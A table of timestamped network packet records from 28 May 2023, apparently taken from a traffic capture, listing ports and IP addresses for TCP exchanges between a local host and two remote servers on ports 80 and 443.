May 28, 2023 10:42:43.273313999 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.273360014 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.273361921 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.273406982 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.273452997 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.273499012 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.273541927 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.273544073 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.273600101 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.273617029 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.273648977 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.273694992 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.273737907 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.273741007 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.273787022 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.273833990 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.273876905 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.273879051 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.273925066 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.273964882 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.273969889 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.274013042 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.274017096 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.274065018 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.274111032 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.274547100 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.275477886 CEST	49708	443	192.168.2.3	162.0.217.254
May 28, 2023 10:42:43.275548935 CEST	443	49708	162.0.217.254	192.168.2.3
May 28, 2023 10:42:43.275895119 CEST	49708	443	192.168.2.3	162.0.217.254
May 28, 2023 10:42:43.297343969 CEST	49708	443	192.168.2.3	162.0.217.254
May 28, 2023 10:42:43.297390938 CEST	443	49708	162.0.217.254	192.168.2.3
May 28, 2023 10:42:43.298897028 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.298964024 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.299012899 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.299060106 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.299107075 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.299108982 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.299120903 CEST	49707	443	192.168.2.3	162.0.217.254
May 28, 2023 10:42:43.299155951 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.299160957 CEST	443	49707	162.0.217.254	192.168.2.3
May 28, 2023 10:42:43.299202919 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.299241066 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.299251080 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.299288988 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.299304008 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.299350977 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.299386024 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.299396992 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.299443007 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.299487114 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.299496889 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.299545050 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.299582005 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.299592018 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.299643040 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.299679041 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.299690008 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.299737930 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.299774885 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.299786091 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.299833059 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.299870968 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.299880981 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.299930096 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.299967051 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.299978018 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.300024033 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.300059080 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.300071001 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.300117016 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.300153017 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.300163031 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.300210953 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.300247908 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.300260067 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.300347090 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.300383091 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.300394058 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.300438881 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.300474882 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.300486088 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.300532103 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.300565958 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.300578117 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.300625086 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.300657988 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.300669909 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.300717115 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.300754070 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.300765038 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.300812960 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.300846100 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.300859928 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.300905943 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.300940037 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.300951958 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.300998926 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.301033020 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.301044941 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.301091909 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.301126957 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.301140070 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.301184893 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.301224947 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.301230907 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.301281929 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.301326036 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.301372051 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.301408052 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.301417112 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.301464081 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.301500082 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.301512003 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.301601887 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.301635027 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.301649094 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.301696062 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.301731110 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.301742077 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.301789999 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.301826000 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.301836014 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.301882982 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.301918983 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.301929951 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.301976919 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.302011967 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.302023888 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.302072048 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.302107096 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.302118063 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.302164078 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.302198887 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.302216053 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.302273989 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.302318096 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.302320957 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.302367926 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.302406073 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.302417040 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.302464962 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.302499056 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.302510023 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.302556038 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.302589893 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.302603006 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.302650928 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.302685976 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.302696943 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.302743912 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.302779913 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.302789927 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.302838087 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.302875996 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.302882910 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.302931070 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.302975893 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.303021908 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.303064108 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.303066015 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.303112984 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.303158045 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.303236961 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.303242922 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.303288937 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.303334951 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.303339005 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.303381920 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.303381920 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.303428888 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.303474903 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.303477049 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.303626060 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.303626060 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.328417063 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.328489065 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.328533888 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.328578949 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.328587055 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.328623056 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.328665018 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.328665972 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.328710079 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.328749895 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.328753948 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.328794003 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.328835964 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.328835964 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.328882933 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.328924894 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.328927040 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.328969955 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.329011917 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.329015970 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.329055071 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.329093933 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.329096079 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.329139948 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.329180002 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.329183102 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.329226017 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.329268932 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.329272032 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.329317093 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.329360008 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.329360008 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.329402924 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.329443932 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.329459906 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.329485893 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.329525948 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.329528093 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.329579115 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.329622030 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.329623938 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.329663992 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.329705000 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.329705954 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.329750061 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.329790115 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.329792023 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.329835892 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.329876900 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.329878092 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.329921007 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.329965115 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.330007076 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.330008030 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.330049038 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.330049992 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.330092907 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.330135107 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.330146074 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.330179930 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.330221891 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.330226898 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.330275059 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.330317974 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.330317974 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.330360889 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.330400944 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.330404043 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.330446959 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.330487013 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.330487967 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.330533028 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.330574036 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.330579996 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.330617905 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.330660105 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.330662012 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.330704927 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.330744028 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.330746889 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.330790043 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.330831051 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.330832005 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.330876112 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.330920935 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.330965042 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.331007957 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.331051111 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.331094027 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.331135988 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.331177950 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.331219912 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.331267118 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.331268072 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.331268072 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.331268072 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.331310987 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.331314087 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.331357002 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.331398010 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.331398010 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.331444025 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.331485987 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.331487894 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.331530094 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.331572056 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.331574917 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.331618071 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.331660032 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.331660986 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.331705093 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.331746101 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.331746101 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.331789017 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.331830978 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.331831932 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.331876040 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.331916094 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.331918955 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.331963062 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.332004070 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.332005024 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.332048893 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.332087994 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.332092047 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.332135916 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.332176924 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.332178116 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.332226992 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.332294941 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.332299948 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.332355022 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.332398891 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.332403898 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.332441092 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.332484007 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.332484961 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.332528114 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.332570076 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.332571983 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.332638025 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.332715034 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.332715988 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.333630085 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.333630085 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.357498884 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.357562065 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.357604980 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.357613087 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.357644081 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.357682943 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.357686043 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.357721090 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.357762098 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.357767105 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.357801914 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.357840061 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.357841015 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.357881069 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.357919931 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.357922077 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.357959986 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.357999086 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.358000994 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.358038902 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.358077049 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.358078003 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.358118057 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.358155966 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.358155966 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.358195066 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.358232975 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.358232975 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.358278036 CEST	80	49704	45.9.74.80	192.168.2.3
